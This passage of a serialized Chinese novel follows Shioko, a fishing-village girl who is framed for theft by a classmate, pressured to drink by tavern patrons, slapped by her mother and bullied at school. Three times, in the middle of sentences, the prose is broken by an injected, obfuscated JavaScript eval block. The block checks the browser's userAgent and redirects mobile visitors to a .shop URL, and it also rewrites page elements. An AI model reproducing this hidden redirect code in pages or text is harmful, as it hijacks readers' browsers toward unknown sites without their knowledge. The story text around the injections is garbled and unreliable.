她的脸上没有任何表情。没有委屈，没有愤怒，没有害怕。只有一种东西——倔。像那天在海边，她妈妈揪着她的耳朵，她仰着头说“没人要就没人要啊”的那种倔。 “把珠子给我。” 潮子走上前，把珠子放在老师手心里。 佐佐木老师看着那颗珠子，又看着潮子。她脸上的巴掌印还没完全消下去——那是前几天母亲打的，还留着淡淡的红痕。但她的眼睛还是那样，亮亮的，直直的。 “我没有拿。”她又说了一遍。 佐佐木老师点点头。 “回座位吧。” 潮子愣了一下。 教室里也愣了一下。 “老师？”聪子站起来，声音尖尖的，“可是珠子是从她口袋里……” “我说，回座位。” 佐佐木老师的声音还是那样慢吞吞的，但有一种不容置疑的东西。他看了聪子一眼，就一眼，聪子不说话了，慢慢坐下去。 潮子走回座位，坐下。 她感觉到旁边聪子的目光，凉凉的，像刀子。 佐佐木老师把那颗珠子收进抽屉里，走到黑板前面。 “好了，继续上课。” 他翻开课本，拿起粉笔，开始讲课。声音和平时一样慢，一样稳。好像什么都没发生过。 但潮子知道，发生过。 她看着黑板，看着老师一笔一划写下的字，耳朵里是老师的声音，但她什么都没听进去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486538|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她在想那颗珠子。在想它是怎么到她口袋里的。在想聪子今天早上挨着她走的时候，手在她旁边晃来晃去的样子。 她的手攥成了拳头，放在桌子下面。 --- 那天放学后，佐佐木老师把潮子留下了。 不是批评，只是问她：“你今天来的时候，路上碰见谁了？” 潮子说了聪子的名字。 佐佐木老师点点头，没再问。 “老师。”潮子看着他，“您相信我吗？” 佐佐木老师摘下眼镜，慢慢擦着。 教室里的光线已经暗下来了，夕阳从窗户照进来，照在讲台上，照在他花白的头发上。他的动作很慢，像做什么事都不着急。 “你站在那儿的时候，眼睛很干净。”他说，“拿了东西的人，眼睛不是那样的。” 潮子低下头。 “老师……” “你知道我为什么知道吗？” 潮子抬起头。 佐佐木老师把眼镜戴上，看着她。他的眼睛藏在镜片后面，但潮子能感觉到那目光是暖的。 “我教了二十多年书。”他说，“见过各种各样的孩子。偷了东西的，没偷的，说了真话的，说了假话的。时间长了，看一眼就知道。” 潮子听着。 “你站在那里的时候，没有躲。”佐佐木老师说，“你看着我的眼睛，说没有拿。那种眼神，骗不了人。” 潮子没说话。她低下头，看着自己的手。 那双手被晒的黑黑的。但那双手是干净的，没有拿过不属于自己的东西。 “回去吧。”佐佐木老师说，“路上小心。” 潮子走到门口，又回过头。 佐佐木老师已经低下头批改作业了。夕阳照在他身上，把他的影子拉得很长。 潮子站了一会儿，然后轻轻拉开门，走出去。 --- 第二天，聪子没来上学。 第三天也没来。 第四天，聪子来了。她走进教室的时候，眼睛红红的，看都不看潮子一眼。她坐下，把书包放好，拿出课本，翻到老师讲到的那一页，动作比平时慢，比平时轻。 后来潮子才知道，佐佐木老师去了聪子家，和她父母谈了话。谈了些什么，没人知道。但聪子回来后，不再和她说话，也不再靠近她。她们坐在一起，但中间像隔着一道看不见的墙。 但聪子有别的办法。 那天放学后，潮子去井边打水。井台边上蹲着几个女孩，是聪子和她的几个朋友。她们看见潮子来了，声音突然大起来。 “……听说她妈妈是酒肆里陪酒的。” “那种女人生的孩子，手脚不干净也正常吧？” “就是，她妈妈那种人，能教出什么好东西。” “我爸说，酒肆里的女人，都是不要脸的。” “她爸是谁啊？没人知道吧？” “野种呗。” 笑声。 潮子站在那里，手里提着水桶。 几个女孩看见她，愣了一下，然后笑起来，叽叽喳喳地走了。聪子走在最后，经过潮子身边的时候，看了她一眼。 那一眼里，有胜利，有得意，还有一点点别的什么——是心虚吗？潮子不知道。 她站在那里，看着聪子走远。 井台边上只剩她一个人。风吹过来，凉凉的，带着海的味道。 潮子慢慢把水桶放进井里。绳子勒进手心，疼。她把水桶提起来，水很重，她的手抖着，水洒出来一些，打湿了她的脚。 她停下来，看着自己被水打湿的脚，看着脚上那双破旧的木屐。木屐的带子断了，用麻绳接上，麻绳也快磨断了。 然后她听见身后有脚步声。 “潮子。” 是健一郎。 他跑过来，接过她手里的水桶。 “我来。” 潮子没说话，跟在他后面走。 健一郎提着水桶走在前面，步子稳，水不洒。他从小就帮家里干活，打水这种事儿做惯了。 走了一会儿，健一郎说：“她们说的那些话，别听。” 潮子没应声。 “我奶奶说，人嘴两张皮，想说什么说什么。你别往心里去。” 潮子还是没说话。 健一郎停下来，转过身，看着她。 夕阳照在他脸上，晒得黑黑的脸上有汗，从额头流下来，顺着脸颊，流进脖子里。他的眼睛很亮，里面有那种她熟悉的光——像那天在海边，他说“把小潮嫁给我吧”的时候。 “潮子。” 潮子抬起头，看着他。 “我信你。”他说。 潮子看着他。 “你没拿。” 潮子还是看着他。 “我知道。” 潮子突然笑了一下。 不是那种露着白牙的大笑，只是嘴角轻轻动了动，眼睛弯了弯。但那一瞬间，夕阳照在她脸上，照在她鼻尖那颗小小的痣上，那颗痣跟着动了一下，像一颗会跳舞的小黑豆。 “走吧。”她说。 健一郎点点头，提着水桶，走在她旁边。 两个人走过那条杂草丛生的小路，走过村公所，走过那棵歪脖子老树。夕阳把他们俩的影子拉得很长，一高一矮，挨在一起。 酒肆的布帘在前面晃着。天快黑了，里面已经亮起灯。有人影在帘子后面晃动，有笑声传出来。 健一郎把水桶放在酒肆门口。 “明天见。” “嗯。” 潮子看着他转身。他走了几步，又回过头。 “潮子。” “嗯？” “明天早上，我来接你。” 潮子愣了一下。 “一起上学。” 健一郎说完，转身走了。他的背影越来越小，最后拐过那棵歪脖子老树，看不见了。 潮子站在那里，看着那个方向。 海浪的声音从远处传来，一下，一下。 她站在那里，听着那声音，感觉心里有什么东西在慢慢长出来。 然后她推开门，走进酒肆。 酒气扑面而来。有人在笑，有人在划拳，有人在喊“老板娘”。妈妈在柜台后面，脸上挂着那种笑，看见她进来，眼睛往楼梯那边瞟了一下，意思是“快上去”。 潮子没动。 她站在门口，看着那些男人，看着那些酒瓶，看着那些烟雾。 有人看见她，喊了一声：“哟，老板娘，你闺女这么大了？” 妈妈笑着应了一句什么，潮子没听清。 她低下头，从人群边上挤过去，爬上楼梯，钻进阁楼里。 阁楼里很黑，只有从小洞里透进来的一点光。她坐在床上，听着楼下的声音——笑声，碰杯声，妈妈的声音，男人的声音。 她把手伸进口袋里。 口袋里什么也没有。 她想起今天早上，那颗珠子从她口袋里被掏出来的时候，她有多惊讶。她想起聪子看她的那一眼。她想起那些女孩在井台边上说的话。 “野种呗。” 她把手从口袋里拿出来，放在膝盖上。 楼下又传来一阵大笑。 潮子躺下来，盯着黑漆漆的屋顶。 她想，明天早上，健一郎会来接她。 她闭上眼睛。 海浪的声音从远处传来，一下，一下。 4. 第 4 章 酒肆的门帘被风吹起来又落下去，落下去又吹起来。傍晚的风从海那边吹过来，带着咸腥的味道，穿过那条杂草丛生的小路，钻进这间烟气缭绕的屋子里。 屋里有七八个男人，三三两两散坐着。有的趴在桌上，脸埋在胳膊里，面前摆着喝空的酒瓶；有的靠在墙上，眯着眼睛，嘴里含糊不清地哼着不知名的小调；还有几个聚在角落里，声音压得很低，不知道在说什么，偶尔发出一阵压抑的笑声。 柜台后面，庆子正在擦杯子。她的动作很快，眼睛却一直在扫着屋里那些人——哪个快喝醉了，哪个需要添酒，哪个眼神开始不对了。她做这行做了快二十年，早就练出了一双这样的眼睛。 靠窗的那张桌子上，坐着两个陌生的男人。 一个四十来岁，一个二十岁出头。穿着和渔村男人不一样的衣裳——料子好，剪裁也讲究，袖口挽着，露出里面干净的衬衫。桌上摆着一瓶酒，几乎没动。年长的男人，眼睛也不像别的男人那样在庆子身上打转，而是一直看着窗外，看着那条通往海边的小路。 庆子注意他好一会儿了。傍晚来的，说是从东京来的，路过这里，歇歇脚。但谁会在这种地方歇脚？这破酒肆，前不着村后不着店，除了村里这些喝惯了劣酒的渔夫，哪会有外人来。 她多看了他两眼，没说什么。 年长一些的男人叫森本英世。东京来的摄影师，在业内小有名气。这次是来这附近采风的——听人说这边的海边保留着古老的渔村风貌，他想拍一组照片。跑了一天，天快黑了才找到这家酒肆，想着喝一杯，歇歇脚，等会儿找地方住下。 他确实在看窗外，但不是看风景。他在想事情——今天拍的胶卷不够理想，光线不对，角度也不对。明天得换个地方试试。 酒肆里吵得很。有人开始划拳，有人拍着桌子唱歌，还有人在争执什么，声音越来越大。森本皱了皱眉，端起酒杯抿了一口。 劣酒，辣嗓子。 他把杯子放下，又看向窗外。 就在这时，门帘被掀开了。 门一开，外面的风涌进来，把屋里的烟气冲散了一些。有个人走进来，逆着光，看不清脸，只看见一个细细的剪影—— 是个女孩。 她站在门口，被屋里的烟气呛得顿了一下，然后继续往里走。肩上挎着一个布书包，洗得发白，边角磨出了毛边。 光照在她脸上。 森本愣了一下。 那是一张让人过目难忘的脸。 不是那种标准的美人脸——太瘦了，颧骨的轮廓有点分明，下巴也尖，晒得也不是城里人喜欢的那种白。但正因为这样，才有了一种说不出的味道。 眼睛是那双眼睛最先抓住人的。妩媚的——眼尾微微上挑，像画里才有的那种眼型，看人的时候，眼波流转，带着一种不自知的媚。但眼神不对。那眼神太直了，太亮了，里面没有那种媚，只有一种倔，一种硬，像礁石，像海浪打在上面，打不碎的那种。 鼻子挺立，鼻尖上有一颗小小的痣，衬得那张脸活了起来——本来太倔了，那颗痣一添，就有了少女的灵动。 嘴唇抿着，薄薄的，抿成一条线。 她的脸侧过来的时候，森本倒吸了一口气。 侧脸比正脸更惊人。线条太干净了——额头到鼻尖到下巴，一条线划下来，利落得像刀裁出来的。柔和中带着硬，硬中又带着柔。少女的娇嫩和某种说不清的坚韧，同时长在这张脸上，丝毫不觉得别扭。 她站在那里，夕阳最后的光从她身后照进来，把她整个人镶了一圈金边。 酒肆里突然安静了一刹那。 那些划拳的、唱歌的、争执的，都停了一下，转过头，看着她。 然后声音又起来了，但不一样了。 有人低声问旁边的人：“这是谁家的姑娘？” “你不认识？庆子家的。” “庆子？那个陪酒的？” “嗯，她闺女。” “长这么大了？” “可不是，几年没注意，都长成大姑娘了。” 有人吹了一声口哨。 “庆子——这是你女儿吧？” 庆子的手在柜台后面顿了一下。她抬起头，看着潮子，眉头皱起来。 潮子刚放学回来，健一郎说后天周日想去海边，问她去不去。她想跟庆子说，后天能不能不在酒肆帮忙。明天还要早起去镇上上学，书包里还装着没写完的作业。 但一进门，她就知道不是时候。 “都这么大了！”那个吹口哨的男人喊起来，舌头已经大了，话都说不利索，“真漂亮啊，庆子，你闺女比你年轻时还漂亮！” 有人跟着起哄：“让她陪我们喝一杯吧！” 庆子从柜台后面走出来，快步走到潮子身边，拉住她的胳膊。 “上去。”她压低声音，眼睛没看潮子，看着那些男人，脸上堆起那种笑——那种庆子最熟悉的笑，“孩子小，不懂事，明天还得早起去镇上上学呢。” “上什么学啊！”那个醉醺醺的男人拍着桌子站起来，“从小在酒肆长大的孩子，还会不会喝酒？来来来，陪叔叔喝一杯！” 他端着杯子摇摇晃晃地走过来。 庆子把潮子往身后挡了挡，脸上还是那种笑：“大哥，您喝您的，我来陪，孩子真不行——” “什么不行！”那男人一挥手，把庆子拨开，“我就要她陪！” 庆子没站稳，踉跄了一下，撞在旁边的桌子上。桌上的酒瓶倒了，骨碌碌滚到地上，碎了一地。 潮子的眼睛一下子睁大了。 那男人还往前走，酒杯举着，酒液晃出来，洒在地上。 “来来来，喝一杯——” 潮子没动。 她看着倒在地上的母亲，看着那些碎玻璃，看着那个男人摇摇晃晃地朝自己走过来。 然后她动了。 她没躲，没跑，没喊。她朝那个男人走过去。 酒肆里突然安静下来。 所有人都看着她。 她走到那个男人面前，站定。她比那个男人矮一个头，但她仰着头看着他的眼睛，那双眼睛亮得吓人。 “杯子给我。” 声音不大，但每个人都能听见。 那个男人愣了一下，然后笑起来，把杯子递给她。 潮子接过杯子，走到柜台前面，拿起酒瓶，倒满。 满满一杯，酒液几乎要溢出来。 她举起杯子。 酒肆里鸦雀无声。 她仰起头，把酒往嘴里倒。 酒辣，呛，烧喉咙。她从来没喝过酒。但她的脸上没有任何表情，只是仰着头，一口一口往下咽。 有一滴酒从她嘴角溢出来，顺着下巴往下流，流过脖子，流进衣领里，不见了。 她喝完，把杯子往桌上一放。 “砰”的一声。 她看着那个男人，眼睛还是那么亮，那么直。 那个男人愣在那里。 然后有人鼓起掌来。 “好！” “庆子，你这闺女行啊！” “就应该这样，早点出来帮你妈！” 有人大笑，有人吹口哨，有人拍桌子。 潮子站在那里，没动。 她看见母亲从地上爬起来，看见母亲的脸——那张脸上没有笑，只有一种她从来没见过的表情。不是生气，是别的什么。比生气更可怕的东西。 庆子走过来，一把抓住她的手腕，把她往楼梯那边拽。 “妈——” “上去。” 声音很轻，但潮子听出了那声音里的东西。她没再说话，被母亲拽着，跌跌撞撞地上了楼梯。 身后，那些男人的笑声还在继续。 --- 森本英世从头到尾看着这一幕。 他没有鼓掌，也没有笑。他就那么坐着，看着那个女孩走进来，看着那些男人起哄，看着那个女孩接过杯子，仰头把酒喝下去。 最后那一滴酒从她嘴角流下来的时候，他的瞳孔缩了一下。 旁边坐着的是他的助手，一个二十出头的年轻人，叫小林。小林也看愣了，半天才回过神来，凑过来小声说：“森本先生，那个女孩……” “嗯。” “太……” “嗯。” 小林不知道该说什么了。他跟着森本跑了好几年，见过不少人，拍过不少人。但这样的女孩，他第一次见。 “她多大？”小林问。 “十四五吧。”森本说。 “十四五……”小林咂咂嘴，“那个眼神，不像十四五的。” 森本没说话。他端起杯子，喝了一口酒。还是劣酒，还是辣嗓子。但他没放下杯子，就那么端着，眼睛还看着楼梯的方向。 “她不应该在这里。”他说。 小林愣了一下。 “森本先生？” “这种地方。”森本把杯子放下，“这种地方，会把她吃掉。” 小林没接话。他顺着森本的目光看向楼梯，那个女孩消失的地方。 “您是说……” “你知道山田洋次导演最近在找什么样的演员吗？” 小林想了想，摇头。 “小渔村的姑娘。”森本说，“纯的，野的，有劲儿的。下一部戏里有个角色，就是渔村出来的小姑娘。” 小林看向楼梯那边。 “她……” “嗯。” 森本站起来，走到柜台前面。庆子已经从楼上下来了，正在收拾那些碎玻璃。她的动作很慢，手在抖。 “老板娘。”森本说。 庆子抬起头，看着他。她的眼睛红红的，但没哭。 “什么事？” 森本从怀里掏出一张名片，放在柜台上。 “我是东京来的摄影师。”他说，“如果……如果以后有什么需要帮忙的，可以联系我。” 庆子看着那张名片，没动。 “帮忙？”她的声音哑哑的，“帮什么忙？” 森本沉默了一下。 “那个女孩。”他说，“您女儿。” 庆子的手停住了。 “她……”森本斟酌着措辞，“她身上有一种东西。很特别的东西。如果以后有机会去东京……” “东京？”庆子打断他，声音突然尖锐起来，“她去东京干什么？去给人陪酒吗？” 森本没说话。 庆子低下头，继续收拾碎玻璃。她的手被划了一道口子，血流出来，她好像没感觉到。 “我女儿要读书的。”她说，声音低下去，“我供她读书，不是让她……” 她没说完。 森本站在那里，看着她。他看见这个女人手上的血，看见她佝偻下去的背，看见她整个人像被什么东西压着，压了几十年。 他把名片往她手边推了推。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486539|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “收着吧。”他说，“万一呢。” 然后他转身走回座位，坐下。 小林凑过来小声问：“她会联系您吗？” 森本没回答。他看着楼梯的方向，看着那个刚才女孩消失的地方。 “不知道。”他说。 --- 阁楼的门被推开，又被重重关上。 潮子被推得踉跄了一下，差点摔倒。她站稳了，转过身，看着母亲。 庆子站在门口，胸口剧烈地起伏着。 月光从小洞里照进来，照在两个人脸上。 “啪。” 一巴掌。 潮子的脸偏向一边，火辣辣地疼。她没动，没说话，就那么侧着脸站着。 “啪。” 又一巴掌。 “我让你读书——” 庆子的声音在抖，在颤，像一根绷紧的线。 “我让你读书是让你去陪酒的吗！” 她抓起桌上的东西，往地上砸。 是那个破旧的搪瓷缸子，“哐”的一声，砸在墙上，弹回来，滚到潮子脚边。 她又抓起一个，是潮子用来装贝壳的罐子——那是健一郎送她的，里面装着他们一起在海边捡的贝壳。罐子砸在地上，碎了，贝壳滚了一地。 “我辛辛苦苦供你读书——” 庆子的声音变成了喊，变成了吼，变成了她自己都陌生的声音。 “我被人骂，被人看不起，我认了——” 她又砸了一个东西，是那个油灯。油洒出来，流了一地，屋里暗下来，只剩从小洞里照进来的那一点月光。 “我让你去学校，让你学写字，让你将来不用像我一样——” 她停下来，站在那里，胸口剧烈地起伏着。 “你倒好！” 她冲过来，一把揪住潮子的衣领。 “你倒好！你给那些人敬酒！你当着那些男人的面喝酒！你知不知道那是什么地方！你知不知道那些男人在想什么！” 潮子看着她。 月光照在庆子脸上，照在她扭曲的五官上，照在她眼角的皱纹上，照在她干裂的嘴唇上。那张脸上有愤怒，有恐惧，有她从来没见过的绝望。 “妈。” 潮子的声音很轻。 “那个人把你推倒了。” 庆子愣住了。 “他把你推倒了。”潮子又说了一遍，“我看着你倒在地上。” 庆子的手松了一点。 “我看着那些碎玻璃。”潮子说，“我看着那些人笑。” 她的手完全松开了。 “我什么都没想。”潮子的声音还是那么轻，“我就是……不能让人那么对你。” 庆子站在那里，看着她。 月光照在潮子脸上，照在她肿起来的半边脸上，照在她鼻尖那颗小小的痣上。她的眼睛还是那么亮，那么直，里面没有委屈，没有害怕，只有那种礁石一样的东西。 庆子的手抖了一下。 她张了张嘴，想说什么，说不出来。 她转身，拉开门，冲下楼去。 门“砰”的一声关上。 阁楼里安静下来。 潮子站在那里，一动不动。 地上都是碎的东西——搪瓷缸子，贝壳罐子，油灯，还有那些洒了一地的油。屋里有一股煤油的味道，混着霉味，混着她自己身上的汗味。 她低下头，看着那些碎了的贝壳。 有一个贝壳滚到她脚边，是白色的，有粉色的纹路，是她最喜欢的那个。那是健一郎在礁石缝里找到的，递给她的时候说“这个好看，给你”。 她弯腰，把它捡起来。 贝壳还完好，没碎。 她把它握在手心里，攥紧。 她走到床边，坐下。书包还背在肩上，沉沉的。她把书包放下来，打开，里面是课本和作业本。明天要交的算术题，还没写完。 她看着那些作业本，看了很久。 楼下传来笑声，碰杯声，还有母亲的声音——又变成了那种笑，那种和平时一样的笑。 潮子坐在那里，听着那些声音。 她把作业本拿出来，翻开，拿起笔。 手在抖。 笔尖落在纸上，歪歪扭扭的，不像字。 她放下笔，站起来，走到那个小洞前面，踮起脚，往外看。 外面是夜晚，天已经黑了。对面那片草窝里，黑漆漆的，什么也看不见。 她看了一会儿，慢慢把窗户推开一点。 风吹进来，带着海的味道，凉凉的。 她站在那里，让风吹在脸上，吹在肿起来的那半边脸上。 楼下，那些声音还在继续。 她握着那枚贝壳，看着窗外那片黑暗。 不知道过了多久，她看见草窝里有一点光闪了一下。 是灯笼。 是健一郎的灯笼。 那光举起来，晃了晃，像是打招呼。 潮子看着那光，没有挥手，没有说话。 她就那么看着。 过了一会儿，那光灭了。 但潮子知道，他还在那里。 她关上窗户，走回床边，坐下。 作业本还摊在那里，算术题只写了半道。 她把本子合上，躺下来。 手心里还攥着那枚贝壳。 她闭上眼睛。 明天还要早起，走去镇上上学。 5. 第 5 章 第二天早上，潮子起得很早。 脸上的肿还没消，她用凉水洗了把脸，对着盆里的倒影看了很久。倒影模模糊糊的，看不清，但那股火辣辣的疼她知道还在。她从柜子里翻出一条旧头巾，把半边脸遮了遮——不是怕人看见，是不想让健一郎问。 她推开门，走下楼梯。酒肆里还睡着，地上有昨晚留下的酒瓶和烟头，空气里一股发馊的味道。她踮着脚从那些乱七八糟的东西中间穿过去，推开酒肆的门。 外面天刚蒙蒙亮，海风吹过来，凉凉的，带着咸味。她站在门口等了一会儿，就看见一个人从小路那头走过来。 是健一郎。 他走得很快，步子比平时还大，走到她面前的时候，胸口还微微起伏着。 “走。”他说。 潮子点点头，跟上去。 两个人并排走着，谁也没说话。那条走了无数遍的小路，两边的草比夏天的时候黄了一些，露水打在上面，亮晶晶的。潮子低着头，看着自己的脚——脚上还是那双木屐，带子又换过一次了，是健一郎帮她换的。 走了一会儿，健一郎侧过头，看了她一眼。 “脸怎么了？” 潮子没说话。 健一郎停下来。 潮子也停下来。 “潮子。” 她抬起头，看着他。 晨光照在他脸上，晒得黑黑的，额头上有一层薄薄的汗。他的眼睛看着她的脸，看着那头巾遮不住的地方——那一片红红的、肿起来的印子。 “昨晚？”他问。 潮子点点头。 健一郎沉默了一会儿，然后伸出手，想碰她的脸。伸到一半，又缩回去了。 “走吧。”他说。 两个人继续走。 走到那棵歪脖子老树的时候，健一郎突然说：“我奶奶不太好。” 潮子愣了一下，转过头看着他。 “昨晚，咳了一晚上血。”健一郎的声音很平，像在说今天天气不错，“我爸说，可能就这几天了。” 潮子没说话。她想起那个瞎眼的奶奶，想起小时候她和健一郎在海边玩，奶奶就坐在家里，等着孙子回去。健一郎每次提起她，眼睛里都有一种光。 “你……”潮子想说什么，又不知道说什么。 健一郎摇摇头。 “走吧，要迟到了。” 两个人继续走，步子比刚才快了。 到镇上的时候，太阳已经升起来了。初中比村里的小学大多了，一栋两层的木头教学楼，操场也大，还有一个小小的体育馆。潮子第一次来的时候，站在校门口看了很久——她从来没见过这么大的学校。 他们走进教室的时候，预备铃还没响，但已经来了不少人。 潮子一进门，就感觉到那些目光。 她习惯了。从她第一天踏进这所学校，那些目光就没断过。有好奇的，有同情的，有看不起的，还有一种——那种她最熟悉的，从那些女生眼睛里射出来的，凉凉的，像刀子一样的光。 她没抬头，径直走到自己的座位坐下。 但那些目光还是追着她。 “哟，你看她脸上。” 声音不大，但她听得见。 “又添新伤了。” “她妈打的吧？那种女人，不打孩子才怪呢。” “活该。” 潮子低着头，翻开课本。 坐在斜后方的几个女生凑在一起，头挨着头，眼睛却往她这边瞟。其中一个长得圆脸圆眼的，叫山口阳子，是聪子最要好的朋友。另一个瘦高个，叫渡边久美，也是聪子的跟班。 聪子自己坐在靠窗的位置，翘着腿，正在翻一本杂志。她听见那几个女生的声音，抬起头，往潮子那边看了一眼。 潮子坐在那里，侧脸对着她。那头巾遮住了半边脸，但还是能看见那红红的印子，从鬓角一直延伸到下巴。 聪子眯了眯眼睛。 她想起很多事——想起小学时候那颗珠子的事，想起佐佐木老师去她家那天晚上，她爸打她的那一巴掌，想起这些年潮子每次考试都比她好，每次老师点名回答问题，潮子的声音都比她稳。 她最恨的，不是那些事。 是潮子的眼睛。 那双眼睛，无论发生什么事，都还是那么亮，那么直，那么……像什么事都没发生过一样。 “聪子。”阳子凑过来，压低声音，“你看她那张脸，真不顺眼。” 久美也凑过来，小声说：“要不找个机会。” 聪子往教室里扫了一眼。 健一郎坐在那里，她知道有他在，他们就找不到机会。 但她的脸上什么也没露出来，只是“嗯”了一声，继续翻杂志。 杂志是一本体育杂志，封面是一个穿着棒球服的少年，正挥着球棒，侧脸被阳光照得发亮。杂志封面上印着一行大字： 「清源幸司——开成学院的彗星」 聪子看着那张脸，看了一会儿，手指在封面上摸了摸。 --- 中午午休的时候，潮子一个人坐在教室里。 健一郎第二节课的时候就走了。班主任进来，在他耳边说了几句话，他脸色一下子变了，站起来，收拾书包，往外走。走到门口的时候，他回头看了潮子一眼。 潮子站起来。 “没事。”他说，声音闷闷的，“你上课。” 然后他就走了。 潮子坐在那里，看着那扇门，看了很久。 一上午的课她都没听进去。老师在讲什么，她不知道。课本上的字，她看着，却进不了脑子。她一直在想健一郎，想他走的时候那个眼神，想他奶奶。 那个瞎眼的奶奶，会唱很多老歌的奶奶，总说健一郎“命硬”的奶奶。 中午铃响了，同学们都去食堂了。潮子没去。她不饿。 她一个人坐在教室里，看着窗外发呆。 楼下传来一阵喧哗声。她往下看，看见几个男生从操场上跑过去，一边跑一边喊着什么。听不清，但隐约有“电视”“甲子园”这几个字。 潮子想起来，老师说今天中午可以看电视——学校那台老旧的电视机，搬到食堂里了，让想看甲子园大赛的同学去看。 甲子园。 她知道那是什么。每年夏天，有一件事能让所有人都不睡觉——那就是甲子园。从六月到八月，全日本四十七个都道府县，四千多所高中，几万个少年，为了一个目标拼尽全力：打进甲子园。 她从来没看过。酒肆里没有电视，阁楼里更没有。但她听说过。听健一郎说过。他说他小时候也想过打棒球，但家里没钱买手套。 潮子站起来，往楼下走。 食堂里挤满了人，大多是男生，也有一些女生挤在人群后面，踮着脚往电视那边看。那台电视机小小的，黑白的，屏幕还闪着雪花，但没有人介意。所有人的眼睛都盯着那个小小的屏幕。 电视里正在转播比赛。 解说员的声音激动得发颤：“——清源、清源又来了！这是今天他的第三支安打！天才！这个少年一定是天才！开成学院史上最强打者！” 屏幕里，一个穿着白色球衣的少年正在跑垒。画面有点模糊，但能看出他很高，跑起来像一阵风。镜头拉近，给了他的脸一个特写—— 潮子愣了一下。 那是一张很好看的脸。 不是那种女气的漂亮，是干干净净的、阳光晒过的、带着少年气的好看。眉毛很浓，眼睛很亮，笑起来的时候，露出一排整齐的白牙。汗水从额头上流下来，流过脸颊，他用手套随便抹了一下，继续盯着场上。 解说员还在喊：“清源幸司！今年刚满十七岁，就已经是开成学院的王牌！他的目标是——全国制霸！” 人群里爆发出一阵欢呼。 “清源！清源！” “太帅了！” “开成！开成！” 潮子站在那里，看着屏幕里那个少年。他站在场上，微微弯着腰，眼睛盯着投手的方向。阳光照在他身上，把他整个人照得发亮。 她从来没见过这样的人。 不是因为他长得好看。是因为他站在那里，整个人像一束光——那么亮，那么干净，那么……不像她见过的任何东西。 “哟，那个卖酒女也来看了呢。” 声音从旁边传来，不大，但她听得清清楚楚。 潮子转过头。 阳子站在人群边上，旁边站着久美，还有两个她不认识的女生。阳子正朝她努嘴，眼睛斜斜地瞟着。 “就她这样低贱的人也配？”阳子的声音故意抬高了，让周围几个人都能听见，“开成学院那种地方，是她能想的吗？癞蛤蟆想吃天鹅肉吧！” 久美捂着嘴笑。 潮子看着她，没说话。 “看她那张脸，”阳子凑到久美耳边，但声音还是能让潮子听见，“真不顺眼。” 久美低声说了句什么，几个人都笑起来。 潮子把目光收回来，继续看电视。 屏幕里，清源幸司正在挥棒。 “嘣”的一声，球飞出去，飞得又高又远。 解说员疯了：“本垒打——！清源幸司，本垒打——！开成学院先驰得点！” 人群炸了。欢呼声、尖叫声、口哨声混成一片。潮子站在那里，看着屏幕里那个少年跑垒，一圈，两圈，三圈，最后踩上本垒板，被队友们围住，抱成一团。 她不知道自己脸上是什么表情。但她觉得，心里有什么东西动了一下。 然后她听见身后有脚步声。 她转过头。 阳子她们已经走了。但食堂门口，聪子站在那里，正看着她。 那目光，和小学时候一模一样。 凉凉的，像刀子。 --- 下午第二节课后，是自由活动时间。 潮子一个人往操场后面的小树林走。那里人少，可以安静地待一会儿。她想着健一郎，不知道他奶奶怎么样了，不知道他现在在哪儿。 她没注意到身后有脚步声。 等她知道的时候，已经晚了。 一只手从后面伸过来，一把揪住她的头发，把她往后拽。 “啊——” 她踉跄着往后退，头皮疼得发麻。她想回头，但头发被揪得死死的，动不了。 “跑哪儿去啊，卖酒女？” 是阳子的声音。 潮子被拽进小树林里。几个人把她围在中间——阳子、久美，还有一个她不认识的女生，比她们都高，块头也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486540|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大。 阳子松开她的头发，把她往前一推。潮子踉跄了一下，站稳了，抬起头，看着她们。 “你们想干什么？” “干什么？”阳子笑了，“你中午不是看得挺起劲吗？看清源幸司，看得眼睛都直了。” 久美在旁边帮腔：“也不照照镜子，看看自己什么德行。清源幸司这种人，是你这种卖酒女能想的？” 那个高个子女生抱着胳膊，站在后面，不说话，但那双眼睛上下打量着潮子，像看一件东西。 潮子没说话。 她的眼睛很亮，很直，看着阳子。 阳子被那目光看得有点不舒服。她想起聪子说过的话：“那双眼睛，看着就让人生气。” “给我按住她。” 高个子女生走过来，一把抓住潮子的胳膊。潮子挣了一下，挣不动——那人力气太大了。 阳子走到她面前，凑近她的脸，看着那片红红的、肿起来的印子。 “你妈打的吧？”她笑了，“打得真好。” 潮子盯着她。 阳子突然抬手，“啪”的一下，打在潮子脸上，正打在那块肿起来的地方。 疼。钻心的疼。潮子的眼前黑了一下，差点站不住。 “这一下，是替你妈打的。”阳子笑着，“养出你这么个东西。” “啪。” 又一巴掌。 